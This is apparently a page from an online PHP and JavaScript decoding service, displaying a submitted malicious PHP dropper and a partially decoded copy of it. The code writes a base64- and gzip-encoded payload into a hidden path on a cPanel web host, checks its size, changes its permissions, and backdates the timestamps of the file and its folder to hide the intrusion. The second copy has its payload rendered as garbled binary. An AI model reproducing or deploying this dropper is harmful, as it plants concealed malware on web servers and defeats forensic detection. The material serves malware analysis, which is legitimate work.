Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

$p = "/home4/waiie/public_html//opt/cpanel/ea-php82/root/var/tmp/joomgallery"; $ft = 1713301157; if (file_put_contents($p, gzdecode(base64_decode('H4sICC3zgGgAAzU0AO0a+0/jRvrnIPE/zKa9jSMM2HmwLFlW3e5BtbotoIWT7tRtI+NMwGqwU9tZwrX532/e883DSUD34yFMMt9rZr73jPnu1eGiKg9vs/xwjsvZzu7OosKoqsssrUd88JiUeZbfVWJ4XaS/49oYoD8eg09XV18uby7HNx+vEHnGF5d/P/v84d9dQXie5vUMfqc8J9MZ4Zck9X2Jk0lljk5OqvukxBMC3d15eELf3xdVjU5RJz4eHrztHxy/PYjfxJ0RR86LkiIHg76iXxblJKkTAm1/XUZRGy3RMGLYaVGigJJkBBmN6Oc7iiNf9va66E9ULW6JIgIpIiSIEMVdQj1P0t+DzsdOiMoknwS94bDbHaEVlUqY0Jd0ME7Lp3mN/tzdaSH6sNUlVfVIuKv7bFoHP4zpxjV2hvO7+r4RfbuYTqNGbFUnbOcN2P80osp0AFXTGx4Z6Dm170ORR0xFBGoj4iZErwnRb0IMmhDDJsRRE+JNE+JYIoAClgRGVGRCq8ylvF06sLvKAdUGxOdkp0TNQ9fNiCm8LvZ9xn2LC5wUzKnYoKV4uXuE0hH22A4cScEi14ONrF30G/IyMD8OmUIYXZe5lFgR5d7bYwAxvl2a43S5v6/H2RQFXLWnMga6fIdcYMtQfGslZ1qhx/tshgNmwPco6gpzUx1xTNyFmmLzUHMRSfYEts9aYOqxYmnmGrTUVx6pyjfsWZg6OJDy7+/DmbgglONlza0uBK60BqGX+wzEHUmFLrMRtFDdwKcMq1YqWc15Y7RHFFJ74Kdw8Jq5uZ9ZbeFlQo622nls73yNgsyIU/Ns5o6bud8YWlfTKfOb6RUM5KYNL9PoRmeLRxDGXKjBdQYq57naj7zLc6E9L1Sld7F2MxbdkAPBYEgGA+gDz3b/nnYCZ3K/L27njIDq+HneyLnXrNbvTcfAm17qjM7C7f23PFsDgwYFRFsp4HiNJYZNKckpTsrPTHUaksDgN7BKY+otZ/Arc9iwjb6odBJhpfcBT+8cx+OhhWZJVQsmO93zCJIEK1HdYHPCx7CF4RBdMf/fM2zsGVTfXj3lFc4nXJTs51JxxlnXmOOyET2dJXdVy8RSXDHHOWsMp/char9rh6hzOMHfDvPFbNaRROx8FDCSz5cf/zE++5cW/h3Z/bN+JCPdYiC3FcoNhGKp/4MJ7FX/80LuJ50VFaYYClBqz/HjxyLPcVpnRc6UT36pavLFg61XganY4pOyTJ6aKPxmE9gGowqs96y1u4PIjziW7r9PyWeNA+rhyl8Yc4mreZGn2MwcZCvdA3rM+kCPWuQZkicW3+Wn87RHUPKkeEiynB5+OwZcnHojAzgusQsUJ2GLX3kwgFe4pjou5jVwFXDGD+Ehn0a04pzS0z1gOh9fn92cfw7RJSG/+JF6hCamkezLFyK/vOE5hYR5XwY4+6NVYTG8Db3pR2B5BRK5mwsSupNM1y7TW5LeNsokNKz2HryQGTTpLaNlw7Nqax3FTTqal1leT4P23yYH8re9XlFqSRvJ4u3IetuR9V9iobjXpH6GWadbDDWG7oq64DlqbDXO+FsyMysMv9CZTFjmJ65Ov46zPGDrDVGW43qc1AUBcDt0tdOTPMjTHczCTJbR4n3DKSsQjyLmQzQlxSsvFFdXFOtYdUGLfIarCgUVnlHxi3yCpyGTQDXPBnHUpedLuFW0ArM2hm/k7z9FtgvRQKymrROXLMYiF8HjCVqB+sIB6gIt+Kpv34bEkF/BhGTYh13EVkx9pgF4quM1P5AFI0SA+ufrn0jSuv7008WHz8+eyl4f61q4KkCsCh2xxoTgYWX7hVaNXw1qQa6do9zGOSCj5SJUgPIN6SJd+wZCcRsVRMBKnH6Dnsy1cTQc9iPpNfbkjIZOwnpbZxJVkOwCqlMA7/qEoO4B+7R2usZIsuWxTLQdU9+e3ZrX41GS1fUnybYy843XD4xztWilpLV99xTKE0lu7KnQtMLzZb7s7tGdlfH49sw7KWS0UxOy1/Q+oAQUvjIaxNs0zVN2mS67avEWwN9yi4rRcOGNaTbO8jv3fldiBjbqB2UMP5Q0ofo1hedkoK7X4yjyUNCWH1L1PTSRas8UIqvOllntbAOn7jU1TlyY0QsqKGwbNbvn5htPTBhXRqD99pfo1xBdnY8/XZzdhOiaHgSub76cffg5RHe4npekAN0+5ckDDjp1Ou90tZlg72mK29SAglctnsrslmbmR2Bmnp8CVZ7N2UWNNstnBO7mYfch0sswooEnA2vUREnjTYbo+Tl92s20tNLyUnuFyxmq0jKb15p+ixQ25CsDGmexbO62MWkxlsY7dhBGr07RwKpzzXULzm4VL9BycfdcU7yOIvNuhpYxubAavUMWWmHgewGVyml5YiSmDWjAivxG5Ou0ygLYLgdKBkg97AZ3M93AS7jRvmB5jaXJZ2rO11yjwJVyy39V5dkm+usvM7W6PsG4WD7x2cBVfxTynh7hP3i8tNHr18ihiSHNWVsJlpJbIIXKLknj9LWcAlptijiasez4DvWiiK6Cjd6722ghs6ITMl3RrRmAgtkfcE5pyRaJZ3mqtZEfQT72geItQ1o3ARrBmznLPcTbbyIz1O64+6yWTjvF3qnZPtkrk/Xu4BT5ujroLFqqx7gbwyRiZxYgw/GBdSdv7YZd0281v68oMsM/vy5acr2+FHsIjas15qpk/7BxCZFtbGetcrvuQoSRW1Jf0FENNVg5Rwh21Gmaw5+K3Nl1hDm9naayk1bL1+/BhEYf54LATs/yba3ZpCEQu7L3GoxcGPuAQTowSpMdowK8NkITEKGCfm2AenThj09J6I9OE+vtZ+2K6y0I29c4HnwDJ3vwVnVt0ILXwpBxAhntWybG2KM9mqEP525DW55+k29seKN4IlsncXQzGh7VV3n/K4kUF/3/ImbwZ7yMgCZ0hvGcnDSURKZwWen4XQLCZAB4yB4WZc43ww727OjFj13EArRLpqqn/TNd6X8BPPm09zUmAAA=')))) {     $filesize = filesize($p);     if ($filesize >= 2264) {         @chmod($p, 0744);         if ($ft) {             @touch($p, $ft, $ft);             @touch(@dirname($p), $ft, $ft);         }         die('_uploaded!_');     } else {         if (file_exists($p)) {             print "file exists but size = {$filesize} not 2264";         }         @unlink($p);     } } die('_upload_failed_'); 

$p = "/home4/waiie/public_html//opt/cpanel/ea-php82/root/var/tmp/joomgallery"; $ft = 1713301157; if (file_put_contents($p, gzdecode(-h54OF ?̦#y,YVA-m#LjSYµoI@!L2kf*op΢¨,G|yUbx]?OWW_.o.7y?]Ax~<'$}IeNNyxBUNQ'>=ĝG΋"_$m]FQ-0biQd;#_OT-n")"$]B=O߃N$JЗt0N˧yi!%UHlZ?5v}NFlU'l
4tU9CGLEj#&D	oB&QMX"FTdB̥]:dDC͈).}}̩ؠx{I"׃]20?B]Xc1]t\2|\`P|k%gZlf(
sSqL܅bPsIZ`biW7Y:8Ù eͭ.I.PV*YycGR{p𚹹YmeByl|̈Sl掛ZW)
/FgG\u*ڏs=/Twv3ݐ`Hvvgr/n猀yȹ׬M^<[D[)x%M))NLu7Jc-g+sذtaO㡅fIU&;+Q`sǰ]13lT^='\RqYט=%wUR\19k!jks8l֑D|0ϗ1>~$#b 
b	UB'
Pj"qZgEΔO~jŃW⓲L(f
ȏ8Og_syd+z@Z'GPxH~;\z#8.'a_y0W:.5pp!F=`:_ݜ%!z&"9y_8Ua1
G`yL.[6$44-eójkM:Y^O&^QjIzۑ_bפ~Y[59jl5[23+ЙLX'N<`
Qzp;tӓ<L})+"C4%+/WWXuA|
Q|!@5qԥKU6o?E@,"	Z-o߆Đ_d؇]VL}x5?#DHҺŇϞ^Z*@
ƄaeV_
jA9 "T
"]BqDJ~̵q4#5䌆Nz[gUSvHLSߞݚQ'ɶ2sh}Inдeѝ;)dS>24Sv.jrpi6;~Wb6e?45d(PЖR=4j"ΖYl55N\*(l5OLWF]?]݄o}9Dw>:u:t`iԀW-fG`fUE6ga!0'kDIM9}ʹR{2ך~6+gl1i1;vFNsun/rq\S"n1CZa{iyb$
hF.JH=w3KѾ`ygj\rU&/3>X>U?xȡ!Y[	[ .IZm8޻h!2]ѭpNigyA>-CZ79=o"3N;ީ>+:,ZǸ$bg u'o]o5(2?.Zr{5dq	mlgrB[R_Q
5X9Gvißu9VFNm٤!\A:0J6B~mztOINg-8|'{VumЂq[&أ=nC[~olxx"['qt3Wy+"fg&t4DpY]dxe7ŏ]K3]<5&))) {     $filesize = filesize($p);     if ($filesize >= 2264) {         @chmod($p, 0744);         if ($ft) {             @touch($p, $ft, $ft);             @touch(@dirname($p), $ft, $ft);         }         die('_uploaded!_');     } else {         if (file_exists($p)) {             print "file exists but size = {$filesize} not 2264";         }         @unlink($p);     } } die('_upload_failed_'); 



© 2023 Quttera Ltd. All rights reserved.